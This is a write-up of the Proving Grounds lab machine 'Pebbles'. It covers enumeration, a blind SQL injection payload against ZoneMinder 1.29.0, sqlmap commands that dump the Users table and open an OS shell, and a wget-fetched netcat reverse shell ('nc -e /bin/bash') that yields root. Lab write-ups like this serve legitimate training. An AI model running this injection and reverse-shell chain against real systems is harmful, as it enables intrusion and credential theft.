Writeup for Pebbles from Offensive Security Proving Grounds (PG)

Information Gathering

Service Enumeration -H -t full -H -t vulns


Port 80

gobuster dir -u -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50

Using a larger wordlist:

gobuster dir -u -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k -x .txt,.php --threads 100

We have a ZoneMinder console (v1.29.0).

Port 8080 contains another HTTP service.

gobuster dir -u -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50

There is a hello.php.


From the ZoneMinder version (v1.29.0) above, we find that it is vulnerable to SQL injection.

It appears that the limit parameter is vulnerable to stacked queries. Using the following POST payload:

view=request&request=log&task=query&limit=100;SELECT SLEEP(5)#&minTime=5

We can make the server sleep for 5 seconds.

This is a blind SQL injection (True = sleep, False = no sleep).

We can automate the blind SQL injection using sqlmap.

sqlmap --data="view=request&request=log&task=query&limit=100&minTime=5" -D zm --tables --threads 5

sqlmap --data="view=request&request=log&task=query&limit=100&minTime=5" -D zm -T Users -C Username,Password --dump --threads 5

We can achieve RCE using the --os-shell option.

sqlmap --data="view=request&request=log&task=query&limit=100&minTime=5" --os-shell

wget "" -O /tmp/nc
chmod +x /tmp/nc
/tmp/nc -e /bin/bash 3305

Two things were important here: the port 3305, and the location of the nc binary.

On our listening machine, we get a root shell.

Upgrade to an interactive shell: python -c 'import pty;pty.spawn("/bin/bash")'


Last updated